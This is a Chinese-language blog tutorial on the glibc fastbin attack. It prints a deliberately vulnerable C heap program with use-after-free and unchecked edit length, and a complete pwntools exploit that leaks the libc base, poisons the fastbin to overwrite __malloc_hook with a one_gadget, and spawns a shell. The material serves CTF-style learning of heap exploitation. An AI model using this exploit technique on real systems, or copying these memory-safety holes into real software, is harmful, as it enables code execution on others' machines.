Fastbin attack

Chiu Lv4

劫持 fastbin 链表中 chunk 的 fd 指针,把 fd 指针指向我们想要分配的地址处,从而实现控制一些关键数据,比如返回地址等。

fd 指向的内存能申请出来的前提是该内存对应 size 处的值与该 fast bin 对应 size 相同。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)

/* Get size, ignoring use bits */
#define chunksize(p) ((p)->size & ~(SIZE_BITS))
/* offset 2 to use otherwise unindexable first 2 bins */
#define fastbin_index(sz) \
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)

idx = fastbin_index(nb);
...
/* Get size, ignoring use bits */
#define chunksize(p) ((p)->size & ~(SIZE_BITS))

if (__builtin_expect(fastbin_index(chunksize(victim)) != idx, 0)) {
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr(check_action, errstr, chunk2mem(victim), av);
return NULL;
}

由于这里的 size 不考虑低 3 比特,并且 libc 或栈地址多数是 0x7f 开头,因此可以通过截取 0x7f 然后用 0x70 的 fastbin 将该内存申请出来。
例如修改 fd 指针指向 __realloc_hook 前合适的偏移通常是 __malloc_hook 往前 0x23 的偏移),两次 malloc(0x60) 申请出该地址的 fake chunk 实现对 __realloc_hook__malloc_hook 的控制。
在这里插入图片描述

由于 one_gadget 可能因栈结构不满足条件而失效,可以通过修改 __malloc_hookrealloc+偏移 ,修改 __realloc_hookone_gadget 改变栈结构来获取 shell

在这里插入图片描述

除了 realloc + 偏移外,还可以通过触发 malloc 报错执行 malloc 来改变栈结构。

示例程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>

char *chunk_list[0x100];

void menu() {
puts("1. add chunk");
puts("2. delete chunk");
puts("3. edit chunk");
puts("4. show chunk");
puts("5. exit");
puts("choice:");
}

int get_num() {
char buf[0x10];
read(0, buf, sizeof(buf));
return atoi(buf);
}

void add_chunk() {
puts("index:");
int index = get_num();
puts("size:");
int size = get_num();
chunk_list[index] = malloc(size);
}

void delete_chunk() {
puts("index:");
int index = get_num();
free(chunk_list[index]);
}

void edit_chunk() {
puts("index:");
int index = get_num();
puts("length:");
int length = get_num();
puts("content:");
read(0, chunk_list[index], length);
}

void show_chunk() {
puts("index:");
int index = get_num();
puts(chunk_list[index]);
}

int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);

while (1) {
menu();
switch (get_num()) {
case 1:
add_chunk();
break;
case 2:
delete_chunk();
break;
case 3:
edit_chunk();
break;
case 4:
show_chunk();
break;
case 5:
exit(0);
default:
puts("invalid choice.");
}
}
}

// gcc pwn.c -o pwn -g

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *

elf = ELF("./pwn")
libc = ELF("./libc-2.23.so")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
p = process([elf.path])


def add_chunk(index, size):
p.sendafter("choice:", "1")
p.sendafter("index:", str(index))
p.sendafter("size:", str(size))


def delete_chunk(index):
p.sendafter("choice:", "2")
p.sendafter("index:", str(index))


def edit_chunk(index, content):
p.sendafter("choice:", "3")
p.sendafter("index:", str(index))
p.sendafter("length:", str(len(content)))
p.sendafter("content:", content)


def show_chunk(index):
p.sendafter("choice:", "4")
p.sendafter("index:", str(index))


add_chunk(0, 0x200)
add_chunk(1, 0x20)
delete_chunk(0)
show_chunk(0)
libc.address = u64(p.recvuntil('\x7F')[-6:].ljust(8, '\x00')) - 0x39bb78
info("libc base: " + hex(libc.address))

add_chunk(0, 0x68)
delete_chunk(0)
edit_chunk(0, p64(libc.sym['__malloc_hook'] - 0x23))

add_chunk(0, 0x68)
add_chunk(0, 0x68)

one_gadget = libc.address + [0x3f3e6, 0x3f43a, 0xd5c07][0]
edit_chunk(0, 'a' * 0x13 + p64(one_gadget))
# add_chunk(0, 0x1234)
gdb.attach(p, "b *{}\nc".format(hex(one_gadget)))
pause()

delete_chunk(1)
delete_chunk(1)

p.interactive()
  • Title: Fastbin attack
  • Author: Chiu
  • Created at : 2024-07-31 14:02:30
  • Updated at : 2024-07-31 14:03:22
  • Link: https://github.com/Idealist17/github.io/2024/07/31/Fastbin-attack/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
Fastbin attack